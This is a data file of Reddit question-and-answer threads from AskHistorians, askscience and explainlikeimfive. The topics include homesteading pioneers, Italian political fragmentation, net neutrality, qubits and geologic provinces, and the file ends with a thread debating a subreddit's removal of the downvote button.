{"q_id": "4vz69r", "title": "I'm an East Coast man who's decided I want to become a pioneer and homestead somewhere out West. How did I come to this decision, and what are my next steps?", "selftext": "Who, exactly, were the pioneers? Am I more likely to be someone with nothing to lose, or am I the son of a wealthy man who hopes to expand his reach out West? How would I actually go about assembling things for my journey? And, when I get there, how will I actually start a life for myself?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4vz69r/im_an_east_coast_man_whos_decided_i_want_to/", "answers": {"a_id": ["d62ot9r"], "score": [2], "text": ["The white pioneers who moved from the American East Coast came from two different major groups. I will address the first group, about which I know comparatively less (and because you didn't really ask about them), before moving to the second.\n\nThe first group was of migrants from Europe. A great number of migrants left Europe after 1848 under the twin influence of potato blight, general population pressure, and the disruptions caused by the (mostly failed) revolutions that swept the continent in that year. In Germany, France, Hungary, and various other places groups that favored more liberal, republican forms of government attempted to overthrow monarchical rule and were, by and large, crushed. This resulted in a great deal of repression by the surviving regimes. I am the most familiar with mid-century Prussia, where a government favoring German unification under a liberalized regime briefly convened in Frankfurt before being summarily crushed by Friedrich Wilhelm IV, who then instituted a sweeping series of conservative reforms that included censorship and a bolstered secret police. But this happened around Europe, and migrants left for other reasons as well. Many of these people went West, populating the Great Plains. That's why there's such a wealth of Northern European culture in states like Minnesota, Wisconsin, and the Dakotas, where many Germans and Scandinavians ended up (though others moved further West and South, as well).\n\nBut, you were asking specifically about a native-born East Coaster who moved West. The primary drivers of Western migration by American citizens were both a \"push\" and a \"pull.\" First, the \"pull,\" because it's a bit shorter. The United States Government had obtained a *ton* of land in the Treaty of Guadelupe Hidalgo that ended the War with Mexico, as well as the subsequent Gadsden Purchase and the treaty with England that set the Oregon border, to go along with land it had already acquired in the Louisiana Purchase and after independence. By the time of the Gadsden Purchase, in 1853, the borders of the lower 48 states were more-or-less set. While the United States had demonstrated the military and political will to claim this territory as its own, and the California Gold Rush of 1848 had already started the process of populating California, there was a LOT of land in between that was relatively barren of white settlement. French *voyageurs* and other fur traders had long plied the area, and the Mississippi was an important commercial waterway, but agrarian Anglo settlement was mostly lacking. And, the American Indians who lived on this land were still powerful militarily, politically, and culturally. After a detour for the Civil War from 1861-1865, the government was ready to start populating that area with white people. In series of Homestead Acts and related laws, they decided to give away the land to anyone who would \"develop\" it, ie institute agrarian settlement farming in the way that Euro-American people at the time understood to be \"civilized.\" This was backed with a policy of aggressive military expansion into the Plains, providing a use for the newly professionalized military (especially a seasoned officer corps) that had just prosecuted the Civil War. When people speak of the genocide of American Indians, this is the last major and most deliberate phase of that process. They also gave away a lot of land to railroads and exterminated a lot of American Bison. The railroads gave the new farmers a way to bring crops to market, and the end of the Bison helped to starve the Indians.\n\nSo that was the \"push.\" What about the \"pull?\" What convinced a person to migrate from the \"civilized\" East Coast to the West? First of all, many migrants came as family groups, unlike in the Gold Rush, when it was mostly single men (even those who had families tended to leave them behind, expecting to return home in a year or two). And they were pushed by a combination of population pressure and the decline of the farmland of the East. In general, New England and New York contain relatively poor farmland, with lots of rocks and relatively uneven terrain. By the middle of the nineteenth century, it was also starting to be exhausted. Further, generations of inheritances had left farms relatively small, unable to support the children of the current generation. If one sibling (usually the oldest brother) inherited the family farm, that left subsequent brothers (and of course all the sisters) to find something else to do to support themselves. There were a few professional occupations one could enter in a traditional small town, like the ministry. Others went to the cities, becoming clerks in mercantile houses, hoping to make enough money at business that they could then retire to a country estate (or at least the suburbs). Girls went to work in factories while hoping to meet a husband. Earlier in the nineteenth century people migrated to the Old Northwest, territory that had come to the U.S. after the Revolution (think Indiana, Ohio, Illinois) and to parts of the Louisiana Purchase (Alabama, Mississippi, Western George - this is what wrought the Trail of Tears). But by the Civil War, these places were filling up, too. So, people from these areas as well as from the East Coast struck out further West, taking advantage of the Homestead Acts and other inducements by the government.\n\nAs for outfitting oneself for the journey, there were a great many companies that sprung up to equip people for the journey, usually at the ends of the railroads in Illinois and Missouri (Independence, Missouri was by far the most common). A migrant would travel there with his family and purchase a wagon, pack animals, supplies, and a stock of seeds and other materials to help him once he established his homestead. He would then need to secure himself a place in a wagon train, an association of migrants all heading to the same place who banded together for mutual protection and assistance. Large and well-funded trains could hire a professional guide, but mostly they operated on simple democracy, electing a captain who had relatively limited authority. At night they would form a circle with the wagons to keep the wind out and the livestock in. People were free to join and leave trains at will over the months-long journey, dropping out due to an illness, or to move along a spur trail (say to stop in Colorado instead of continuing on to California or Oregon), or because they weren't getting along with someone in the train and wanted to try out a different one.\n\nOnce a person arrived at a claim, assuming they lived, the goal was to improve it, as \"improvement\" was the mark of civilization, and thus of a successful claim. Since wood was relatively scarce on the Plains, people usually started with a sod house. Literally, they would cut chunks of the turf and pile them up into a basic structure. They would also plant crops, though they usually needed to find a source of water for irrigation to make that possible. The Great Plains were sometimes called the Great American Desert, so irrigation was a priority. As more people came into an area, there would be neighbors for trade and socialization, merchants for comforts and necessities, and, eventually, the railroad. One there was a local railroad, homesteaders could take advantage of mail-order companies to order everything from the new steam-powered combines to houses to seeds (Sears is the most famous of these). Before the combine, animal and human power had to suffice for most tasks.\n\nI think I've mostly covered the standard narrative. I'm happy to try my hand at follow-ups, of course.\n\nSources:\n\nHowe, *What Hath God Wrought*\n\nMcPherson, *The Battle Cry of Freedom*\n\nUnruh, *The Plains Across: Overland Migrants and the Trans-Mississippi West*\n\nLimerick, Patricia, *The Legacy of Conquest: The Unbroken Past of the American West*\n\nWhite, Richard, *\"It's Your Misfortune and None of My Own\": A History of the American West*\n\n---. *Railroaded: The Transcontinentals and the Making of Modern America.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5vba8z", "title": "It seems odd that the Italian peninsula could give rise to the Roman Empire and then largely resist political unification until 1870. How have historians explained Italy's extended political fracture after the Western Empire fell?", "selftext": "I enjoy reading histories that focus on the geographical factors that influence economic, intellectual, political, and military developments, etc. At the most surface level it seems that the same geography that allowed the Romans to conquer the Italian peninsula might have facilitated subsequent unification efforts prior to the 19th century. Either that thinking overemphasizes the role of Italian geography in the Roman conquest, or other factors trumped it. I'm wondering what explanations historians have considered. \n\nAs always, I thank the historians who post here. This is the most educational subteddit I've found, and one of the most entertaining. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5vba8z/it_seems_odd_that_the_italian_peninsula_could/", "answers": {"a_id": ["de1f73g", "de299o6"], "score": [115, 2], "text": ["The thing is, Italy *was* unified; after Odoacer discarded the title \"*Imperator*\" in favor of \"*Rex Italiae*,\" Italy continued to be a largely Roman-style kingdom up to the second half of the tenth century. The political fragmentation in Italy following the tenth century is, in part, a consequence of it's own wealth, urbanization, and agricultural levels. These same factors strengthened it's lack of unity following the growth of trans-atlantic trade, leaving Mediterranean trade comparatively stagnant; as the Italian States stagnated, all they were able to do was maintain the status quo.\n\nLet's begin at the beginning. The year is 476. The Western Roman Empire has lost Gaul (to the Franks) Iberia (to the Visigoths) and Africa (to the Vandals). Only Italy and Dalmatia are ruled from Rome. Years of civil war and infighting have led to long succession of army-backed strongmen taking ruling the empire, and in 475, the *Magister Militum* (head of the army) named Flavius Orestes propped up his son Romulus Augustulus while Julius Nepos, his deposed predecessor, set up a court-in-exile in Dalmatia.\n\nFlavius Odoacer, another general, deposed Romulus Augustulus once he lost the army's favor. However, Odoacer openly admitted that he was powerless beyond the Alps, and consequentially didn't call himself Emperor. Rather, he sent the imperial paraphernalia to Constantinople and asked to be recognized as \"Consul\", keeping all of the functions of the Roman administration in Italy intact. Odoacer initially played lip service to Exiled emperor Julius Nepos, minting coinage in his name, but may have been involved in the plot whereby he was murdered. Regardless, Odoacer eventually asked to be given the title of Patrician by the Eastern Emperor and be recognized as the ruler of Italy under the wing of a single Emperor in Costantinople. \n\nSo here's our first observation: while Spain France, and later England develop specific ethnic heartland (Frankish, Gothic, and Anglo-Saxon respectively) from which proto-nations can emerge, Italy never departs from the vague concept of \"Roman-Ness\" which was a legal identity, more than an ethnic one.\n\nNow, around the year 490, the Eastern Emperor Zeno had his issues to deal with involving two Generals both confusingly named Theodoric (this in addition to social, religious, and political unrest in his own half of the empire). He takes action, convincing them and part of the army loyal to them to go conquer Italy. This way, they would stop annoying him, and he could also get rid of Odoacer, another potential opponent.\n\nThis \"conqueror\" of Italy, Theodoric the Amal, was technically King of the Ostrogoths but he had been raised in Constantinople. His people were largely Romanized: having lived within the Eastern Empire's borders for centuries (heck, you could even argue \"Ostrogoth\" meant \"Inhabitant of Pannonia garrisoning fortresses on the Danube). So when Theodoric defeated Odoacer and set up the first Kingdom of Italy, he did his utmost to further maintain the Roman institutions, law, and judicial system. However, he did not rule from Rome, instead he ruled from Ravenna, seaside city conveniently defended by swampy surroundings.\n\nAlthough Theodoric was *de jure* a vassal of the Eastern Roman Emperor, *de facto* the Kingdom of Italy operated entirely independently. (I suggest this book every time Theodoric comes up, he was awesome: *Theoderic in Italy* by J. Moorhead (Oxford University Press, Oxford, 1992).\n\nThis first Kingdom of Italy lasted to the sixth century. But starting from 535, the Eastern Emperor Justinian took advantage of infighting among the Romano-Gothic ruling class to re-integrate Italy into the Empire and sent an army under General Belisarius to depose the King in 553 and control the peninsula.\n\nHowever, the Byzantine Empire had a chronic manpower problem and lost Italy in less than a generation. Although Justinian was definitely a great wartime politician who was particularly good at picking the right man for the right job, his conquests stretched Byzantium's resources too far. Even sympathetic chronicles criticize him for being unable to defend the empire once he expanded it.\n\nThus, the sparsely defended Italian lands were easy prey for one of the last great migrations: that of the Lombards. The question, \"where did the Lombards come from\" is covered in Jorg Jarnut's History of the Lombards (Enaudi, Torino, 2002) but that's a story for another post. The Lombards would contest Italy with the Byzantines from the 6th to the 8th centuries. The Lombards moved into the Northern Italian Plains with relative ease, while the Byzantines would hold onto the Pentapolis, the city of Rome and its surroundings, and the easily-reachable Calabria and Puglia regions of Southern Italy.\n\nThe Lombards eventually \"Went Native\", imitating the Roman Imperial customs, establishing Mediolanum (modern Milan) as their capital, while still administrating Italy in various feudal subdivisions; indeed, had things gone differently, perhaps Italy would have survived as a medieval state, and centralized as the rest of Europe did over the course of the renaissance.\n\nBut any peninsula that can sustain two ethnic groups fighting over it isn't going to have a normal history.\n\n", "If one had to give a single and easy answer, it would be \"the Pope\". Starting with Lombards and ending with the Savoy family in 1871, there were countless attempts to unify Italy. All of them were countered by the Papacy, either stirring internal opposition in the enemy or calling for military intervention from European monarchs. On their side, they had the Faith, the Church organization which permeated Italy both socially and economically, and the offer of the Imperial crown.\n\"Come to Italy, deliver us from our enemies and get crowned by the Pope\" was an offer almost nobody turned down for a very long time.\nThe history of Italy is, in some ways, the history of powers trying to rise over the others and getting overthrown by alliances sanctioned by the Pope.\nThis all changed in the 1800s when the ideas of National identity rose and the political situation in Europe was highly unstable. The invasion of 1871 coincided with the Franco-Prussian War: the French would but could not intervene against the Kingdom of Italy, and the Austrians similarly refused to start a war to defend Rome, having been in to many unsuccessful conflicts in the previous years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1uw4s8", "title": "at & t sponsored data", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1uw4s8/eli5_att_sponsored_data/", "answers": {"a_id": ["cem8sfg"], "score": [3], "text": ["Right now, customers sign-up for mobile data plans with monthly data caps (e.g. 1 GB). If they exceed this data cap, they may be charged overage fees. Every website/service they use online thorough their mobile phone contributes equally to the amount of data usage. So customers pay for their own bandwidth / data usage and they are responsible for overage fees if they go over their monthly data cap limit, regardless of what sites/services they visit/use.\n\nBasically, what AT & T is proposing is to allow specific websites/services (lets take Netflix for example) to pay for (i.e. sponsor) customer's data usage that pertains to their own website/service. \n\nThus, instead of the customer paying for data usage when using a site/service that is part of the sponsor program, that site/service (e.g. Netflix) will instead take on the responsibility of paying for the customer's data usage. In turn, the customer gets free/unlimited usage of that website/service, but data traffic to/from other sites/services (not part of the sponsor program) would contribute to their monthly data usage limit.\n\nThis is a problem because it violates the principle of Net Neutrality which effectively states that all traffic on the internet should be treated equally. By offering customers free/unlimited access only to sites/services which belong (i.e. pay for) the data sponsor program, AT & T would effectively violate the key principle of Net Neutrality by discriminating against traffic to certain websites/services because they refuse to pay for data sponsoring.\n\nNet Neutrality is important for ensuring there is a free market and level playing field online where start-up companies have a realistic avenue to enter the online business space and compete with the larger / more established websites/services. The data sponsor program would make it very difficult for newer entrants to penetrate the market because they are less likely to have the funds/resources to pay for data sponsoring and thus customers will just use the larger/established providers (e.g. Netflix, Youtube etc.) and ignore the sites/services that count towards their monthly data usage limits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1bc53g", "title": "How disconnected from the rest of American society were those living high up in the Appalachians between 17th and 19th centuries?", "selftext": "I remember hearing in American history class that settlers in the mountains still spoke with English accents well after the US became a nation in 1776. Is this true? Is there any other information about them that showed how behind they were with the times?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bc53g/how_disconnected_from_the_rest_of_american/", "answers": {"a_id": ["c95l12z"], "score": [72], "text": ["This is a huge myth that serves to romanticize and marginalize Appalachia. The people of Appalachia have participated in the main currents of American history and society. Let's start with culture. One of the major ethnic groups which settled upland Virginia and Carolina were the so-called Scots-Irish. These were people from northern Ireland who had originally crossed over from Scotland. Their cultural traits came to dominate Appalachia by the Revolution (David Hackett Fischer, *Albion's Seed*.) It's important to note that northern Ireland was not on Mars; that is, these were English-speaking Presbyterian farmers who read newspapers. They did not develop a completely alien way of life from their fellow Americans in the low country. \n\nWhat's an English accent? People from the British Isles brought many accents to America. In America, their cross-fertilization produced many more. It's erroneous and ridiculous to single out Appalachia as some sort of atavistic survival of a traditional \"English\" accent. \n\nAppalachian residents were not \"isolated,\" at least, no more so than other Americans in the 19th century. Most Americans were farmers who lived in the countryside. In this way, Appalachians were entirely mainstream. They were served by the post office. They tended to settle near rivers for transportation. Within Appalachia in the 19th century you found not only farming, but manufacturing and mining. Appalachia was on the move; they arrived from and moved to other regions on a regular basis. \n\nIt's certainly true that commercial agriculture was difficult in Appalachia and always would be. They tended to favor low taxes and oppose commercially-oriented improvements which they knew wouldn't benefit them. They're often at odds with their state governments. But this fit them squarely within the value-system of Jeffersonian-Jacksonian Democracy. So politically, they were pretty mainstream, and saw much in common with other agrarians."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3zkic2", "title": "Have we found any book from ancient egypt?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3zkic2/have_we_found_any_book_from_ancient_egypt/", "answers": {"a_id": ["cymue0r", "cymuzlm"], "score": [3, 14], "text": ["I can't answer your question directly but I can tell you a little bit about Egyptian literature. There were two types of script in ancient Egypt: the hieroglyphs that most of us are familiar with and another script called Demotic. These are two of the languages inscribed on the famous Rosetta Stone, along with ancient Greek. In fact, by about the time of the Rosetta Stone's creation (196AD), hieroglyphs were typically only read and understood by by priests alone.\nA lot of hieroglyph texts have survived because they're ceremonially painted on walls of tombs etc. Unfortunately, other Egyptian texts have been lost because they were written on papyrus, which is made of plant fibres.", "What do you mean by \"book\"?  If you mean, have we found texts in general, the answer is a resounding yes.  If you mean, have we found any fictional stories, then the answer is also a resounding yes.  If you mean have we found any bound books with pages (called ~~codexes~~ a codex [EDIT: singular *codex* plural *codices*]), then the answer is also yes.\n\nHere are some of the texts that we have discovered from Ancient Egypt:\n\nMy favorite is the [The Tale of Sinuhe](_URL_0_sinuhe.htm) an Egyptian story with themes of divine providence and mercy. The anonymous author has been called the \"Egyptian Shakespeare\" if that gives you an idea of its importance, and many copies have been found throughout Egypt, so it was a very popular work in ancient times.\n\nAnother well-known fictional tale is [The Tale of Wenamun](_URL_7_), another Egyptian tale of misadventures abroad.  \n\nWe have a lot of myths and tales of the gods of Ancient Egypt, such as [The Contendings of Horus and Seth](_URL_0_horus_and_seth.htm), which is actually being made into a [Hollywood movie](_URL_4_).  We have the [Legend of Ra and Isis](_URL_0_re_and_isis.htm).\n\nWe've also found some religious texts that were hymns, such as the [Hymn to the Aten](_URL_0_aten.htm).\n\nThere are also a lot of scientific texts such as the [Edwin Smith Surgical Papyrus](_URL_6_).\n\nAnd these are just a taste.  For a much longer list of texts with translations and commentary, check out [this website](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reshafim.org.il/ad/egypt/texts/", "http://www.reshafim.org.il/ad/egypt/texts/horus_and_seth.htm", "http://www.reshafim.org.il/ad/egypt/texts/re_and_isis.htm", "http://www.reshafim.org.il/ad/egypt/texts/aten.htm", "http://www.imdb.com/title/tt2404233/?ref_=nv_sr_1", "http://www.reshafim.org.il/ad/egypt/texts/sinuhe.htm", "http://www.reshafim.org.il/ad/egypt/timelines/topics/smithpapyrus.htm", "http://www.reshafim.org.il/ad/egypt/wenamen.htm"]]}
{"q_id": "5csl9r", "title": "How do you concretely exploit the fact that a qubit can be in several states knowing that observing it is fixing its state ?*", "selftext": "I think that I understand the superposition principle but I don't understand how can a quantum system can use it to explore more combination of qbit at once. For example factorisation ?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5csl9r/how_do_you_concretely_exploit_the_fact_that_a/", "answers": {"a_id": ["d9z4uxb", "d9zjcsz"], "score": [45, 9], "text": ["You mess around with it while it's still in superposition to get the answer you want to interfere constructively and the answers you don't want to interfere destructively. For example, suppose you have some function where if you plug in state A, it gives 1/sqrt(2)(C+D), and if you plug in state B, it gives 1/sqrt(2)(C-D). Either of those states has a 50% chance of returning C and a 50% chance of returning D. But if you plug in a quantum superposition of 1/sqrt(2)(A+B), then you get 1/sqrt(2)(1/sqrt(2)(C+D)+1/sqrt(2)(C-D)) = C. The C states interfered constructively and the D states interfered destructively.", "The useful property of qubits is not that they can be in several states at once, but that they have coherent states with other qubits. Meaning, the amplitudes of various states are applied not to single qubits independently, but to the combinations of qubits.\n\nConsider 3 qubits. If they are independent, you can describe them by specifying 6 numbers: amplitudes of |0 >  and |1 >  for each of the three qubits. But in quantum computer you will actually need 8 numbers: the amplitudes of |0, 0, 0 > , |0, 0, 1 > , |0, 1, 0 > , |0, 1, 1 > , |1, 0, 0 > , |1, 0, 1 > , |1, 1, 0 > , |1, 1, 1 > .\n\nFor N independent qubits you'll need 2N amplitues, and for N entangled qubits you'll need 2^N. A big difference. Thus the advantage of quantum computers.\n\nThe problem of dealing with quantum computers is that you can't read those amplitudes directly. When you do, you actually only sample the distribution, so you have to repeat the same calculation many times, to get a reliable result."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "eh0bkw", "title": "Can some explain geologic province?", "selftext": "So I was world building and then I stumble on geologic province. So I look at the Wikipedia page and other websites and I still don't get it.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/eh0bkw/can_some_explain_geologic_province/", "answers": {"a_id": ["fcfo5ul"], "score": [7], "text": ["Provinces are broad organizing units for classifying different regions based on some unifying aspect of their geologic history. These could be likened in many ways to other broad classification schemes, e.g. [biomes](_URL_4_) for climate/vegetation zones. The division between provinces is usually based on some fundamental difference between dominant process that formed or impacted that region, the age of the rocks in that region, or both. \n\nThe province concept is probably simplest to understand in considering a set of real world examples, let's go with the [geologic provinces of Virginia](_URL_3_). If you click on the map in the previous link, you'll be taken to descriptions of each of the provinces. Let's contrast the [Appalachian Plateau](_URL_3_appalachian-plateau/) and [Valley and Ridge](_URL_3_valley-ridge/) to start. Both of these provinces are made up of sedimentary rocks, originally deposited during the [Paleozoic](_URL_6_) in a [foreland basin](_URL_9_) which developed adjacent to a series of mountain ranges that existed to the east. The distinction between them is that the rocks in the Appalachian Plateau remain largely undeformed where as broadly equivalent rocks in the Valley and Ridge were subsequently, extensively folded and faulted. Thus, the composite geologic history of the two regions share some similarities (their history of deposition in a single basin) but also sufficient differences (lack of deformation vs significant deformation) such that we consider them two different provinces. Moving to the east, the [Blue Ridge](_URL_3_blue-ridge/?E) province represents much older and more extensively deformed rocks compared to the adjacent Valley and Ridge (additionally, the Blue Ridge rocks accumulated large amounts of strain along a series of shear zones whereas the Valley and Ridge was more broadly folded and faulted). The Blue Ridge rocks were formerly part of the mountain range that was the source of sediment for the Appalachian Plateau and Valley and Ridge rocks, so here we can see that in going from the Valley and Ridge to the Blue Ridge, we've not only crossed a significant boundary in terms of age and amount/style of deformation, but also in process, i.e. going from a former basin to a former mountain range. As we continue moving east and enter the [Piedmont](_URL_0_), we find a very heterogeneous set of rocks which are primarily lumped together because they all represent the deeply metamorphosed core of the former mountain ranges discussed earlier. The Piedmont is also characterized by a series of [terranes](_URL_11_), which again is a term for describing discrete blocks of crust with distinctive geologic histories, but here, in calling something a terrane, we explicitly imply that this block of crust is far traveled with respect to the crust it is now next to and is separated from its surroundings by [sutures](_URL_1_). Finally, the [Coastal Plain](_URL_3_coastal-plain/) province is a set of undeformed, significantly younger marine sediments. \n\nAs you can see from the Virginia example, provinces are pretty broad classifications and within a given province, there will be a variety of finer scale divisions, e.g. breaking up rocks based on age and composition into [members, formations, groups, etc](_URL_10_). Similarly, the boundaries between provinces may be very discrete (e.g. the [fall zone](_URL_2_) which represents the transition between the Piedmont and Coastal Plain) or a little more gradational (e.g. the eastern edge of the Appalachian Plateau has some isolated folding which progressively gets more intense as you move eastward, but it's hard to stand on a single spot and say 'this is the boundary between the Appalachian Plateau and Valley and Ridge')."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://geology.blogs.wm.edu/piedmont/", "https://en.wikipedia.org/wiki/Suture_(geology\\)", "http://geology.blogs.wm.edu/2016/08/08/fall-zone/", "http://geology.blogs.wm.edu/", "https://en.wikipedia.org/wiki/Biome", "http://geology.blogs.wm.edu/coastal-plain/", "https://en.wikipedia.org/wiki/Paleozoic", "http://geology.blogs.wm.edu/appalachian-plateau/", "http://geology.blogs.wm.edu/valley-ridge/", "https://en.wikipedia.org/wiki/Foreland_basin", "https://en.wikipedia.org/wiki/Stratigraphic_unit#Lithostratigraphic_units", "https://en.wikipedia.org/wiki/Terrane", "http://geology.blogs.wm.edu/blue-ridge/?E"]]}
{"q_id": "zpao5", "title": "what is online trading, how risky is it? eli5", "selftext": "I have no idea what online trading is, I hope ELI5 crowd can explaing how it is done, what are the risks, where to start and etc.. Thank you.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zpao5/what_is_online_trading_how_risky_is_it_eli5/", "answers": {"a_id": ["c66kma6"], "score": [2], "text": ["The three main things you can trade online are stocks, currencies and commodities. \n\nWith stocks you basically invest in companies (like Yahoo or Google. Currencies are the trading of international currencies, this market is called foreign exchange (forex). For example you can trade us dollar to japanese yen, but there're a bazillion different combinations. Commodities are mostly raw materials like gold, oil, crops and such. There are a bunch of other things you can trade, but these are the three main things.\n\nOnline trading works through online trading platforms. There are dozens if not hundreds of different brokers, that run these platforms. Just google it, i'm sure you'll find a lot. These are basically softwares which allow you to trade these things, if you have an account and some money. \n\nHow you trade? You can buy or sell. If you expect the price to go up you buy, otherwise you sell. That's it. You can hold the purchased asset as long as you want (or as long as you have money to cover a potential loss). Some people buy stuff and hold it for months or years, some people sell it adter a minute. Some people trade only one thong, some people trade hundreds at the same time. All depends on your preferences, time, money and trading strategy.\n\nHow risky it is? Extremely. Especially if you don't know what you are doing. A sudden price swing can cost you all your money if you don't protect it with some kind of risk managent. So I wouldn't recommend you as an investment before you learn a bunch of things about it. \n\nHow people trade? There are three main type of traders. The fundamentalists analyze news and financial reports, and make their bets using these data. For example they can check the annual report of a company, and if they see pretty numbers they will buy sone stocks. \n\nTechnical analysts only watch the charts and search for patterns. For example if they see a downward trend they will sell. \n\nAnd there are the guys called the bandwagonists, who just check what other people do, and do what they think the majority will do.\n\nThese things are the very basics. If you are really interested, search for online tutorials, books, videos and whatnot and learn a lot before you risk your money in the market."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1tg5h9", "title": "e: quantum numbers, and how do they work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tg5h9/e_quantum_numbers_and_how_do_they_work/", "answers": {"a_id": ["ce7pstd"], "score": [5], "text": ["I am not sure about how much details you are expecting, so I will try to keep it as simple as possible.\n\nOn quantum mechanics, some physical quantities can't vary continuously, i.e. some physical quantities can only assume discrete values. I will try to explain this better:\n\nConsider a stairway: You can be on the 1st, 2nd or 3rd step but can not be on the step 1.3 or 2.482.\nIf you want to describe the height of an object on the 3-th step of your stair you may use a rule and say that it is 60 cm above ground or you can simply say it is on the 3th step. By knowing the height (20 cm in this case) of each step, anyone can calculate the height of your object.\n\nIt's simpler to say that your object is on the 3rd step than saying that your object is 60 cm above ground.\n\nNow see:\n3 is your \"quantum number\".\n60 cm is your physical quantity.\n\nJust like that, an electron orbiting an atom can only assume certain values of angular momenta (many other physical quantities are also quantized, but let's just focus on one of the components the angular momenta: Lz).\n\nThe *physical quantity Lz* can only have certain values: 0, \u0127 and -\u0127, 2\u0127 and -2\u0127, 3\u0127 and -3\u0127, etc. (But not indefinitely! There IS a maximum and a minimum value, but I will not discuss this here.)\n\n(\u0127 is the [Planck constant](_URL_0_).)\n\nIn this case, the quantum number mz is the number multiplying the Planck constant.\nIt's simpler to say your electron is in the state, say, mz=1 than saying that the component on direction z of the angular momentum of your electron is equals to 6.6*10^-16 eV.s\n\nOf course, the question here is not just \"being easier to say\". Describing a system in terms of its quantum numbers is a fundamental tool when you need to study it.\nI may try to provide more details if required."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Planck_constant"]]}
{"q_id": "hnuds", "title": "Meta: Removal of the down-vote button?", "selftext": "Dear mods/admins\n\nI guess you're trying to encourage people to ask questions and to report non-questions, but can we please have a discussion about this before removing the down-vote button?\n\nAlso, if it's an experiment in subreddit quality then I hope you're recording qualitative data from before and after the change (for science of course) and will publish the results here ;)\n\nPlease ignore me if it's a temporary error in the stylesheet.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hnuds/meta_removal_of_the_downvote_button/", "answers": {"a_id": ["c1wvsf1", "c1wwfbe", "c1wwkum", "c1wwlod", "c1wwlzm", "c1wwnf8", "c1wwt5n", "c1wwusg", "c1wwvti", "c1wwwh0", "c1wwxjq", "c1wwxza", "c1wxbc7", "c1wxfb2", "c1wxpov", "c1wy2u0", "c1wyae9"], "score": [38, 89, 48, 4, 14, 4, 5, 2, 20, 25, 125, 6, 3, 8, 18, 12, 2], "text": ["It doesn't matter, redditors like me who disable custom styles can always use the downvote button. ", "I speak here not as a panelist but as a member of this subreddit.\n\nThere is no such thing as a dumb question.\n\n...\n\nNow give me my downvote button back.  :)\n\n\nEdit: I am not sure it was clearly conveyed which side I am on. I am pro-downvote, despite acknowledging that there are no stupid questions... in principle. ", "I think the downvote is an important tool for this community... I would vote to bring it back.\n\nYes, we want people to feel welcome, and don't want to hurt anybody's feelings-- but our ability to sift and sort posts is essential to the efficient operation of this forum. Having only upvotes gives reviewers much less influence over the content prioritized.", "Think of it this way: in science, publications are more often 'upvoted' with worthy questions/answers. There's no reason to downvote, in my opinion, because it belittles someone's question. This way the good stuff rises, and we're not sending a message that questions are dumb. I've seen many great questions downvoted because a reader didn't think about it, judged it on its' topic alone, and the OP wasn't as eloquent as the reader would like. That's not acceptable in my book.\n\ntl;dr: removing downvotes makes AskScience a more inclusive (and better) place. ", "From the sidebar:\n\n > For the most part, upvote when you see something you're sure is a correct answer to the question at hand or if a post adds well to the discussion. You should downvote comments that detract from the discussion.\n\nI think the downvote button should be brought back. ", "I would really prefer all subreddits in general but this subreddit in particular not try to change reddit's paradigms for their own purposes. We would do well to stop trying to find solutions to problems that are really there. \n\nPlease revert the stylesheet change. ", "Man, I love this subreddit, but it takes itself way too seriously.  Sure, it's a self-appointed bastion of truth and authority, but it's also a form of entertainment.\n\nMore than anything, I find the 5 downvotes-and-then-you-disappear rule to be pretty terrible, because it allows capital-T truth to be democratically defined, which it most certainly is not.  Just think of the analogy of the concept of lactic acid and muscle soreness.  Everyone swore lactic acid buildup=muscle soreness like gospel, and only until a determined individual refused to listen to the gospel was the much more reasonable truth brought to light.  But people would have downvoted him for daring to argue against what everyone \"knew\".  ", "I'm intrigued to test this idea out for a little while at least. But I do ask of everyone to report *anything* that is off topic or not science.", "I enjoy the downvote button. I don't usually use it, but I will downvote a question that doesn't belong on this subreddit. As stated before, there are better subreddits for standard questions.\n\nAsk science is a question to the experts, and should be used for tough questions, or questions that are often answered to shallowly by common knowledge. A lot of people come here to ask us to point to a wikipedia page for them. If those people would come back asking for clarification on a point in the wiki, that would be AMAZING! but usually they are completely happy with what is currently available with 5 seconds searching.", "If anyone has any other meta-business they want to bring up, do it in this thread so we can keep them to a minimum.", "Mods:\n\nThe downvote button is necessary for a subreddit to function properly.\n\nRemoving it is a possibly well-intentioned but profoundly misguided idea.\n\nRestore downvote functionality. ", "What? No downvote? That's un-redditlike. ", "Removing the downvote arrow is the reason I disabled custom styles.  The voting system is a big part of why Reddit works so well.\n\nAll removing the downvote does is keep the honest people out.", "I would be rather pleased if every change since the 30k milestone was reversed.", "Though this may have been done to keep any question from being downvoted, it also makes it so that incorrect, irrelevent, hurtful or off topic comments cannot be downvoted.\n\nEdit: When I made this post comments could not be downvoted. Glad to see they can now.", "It appears that there might be another way to downvote. I have multiple subreddits added to one page [(an example)](_URL_0_). I bookmark said multiple subreddit url so that I can view them all as one page. As a result, all links are displayed in the standard reddit format and the down arrow is visible and presumably functional.\n\nEdit: I downvoted this link [for science] ;) and it worked.", "It's crap like this that long ago convinced me disable the \"allow reddits to show me custom styles\" checkbox in preferences and I've never looked back.  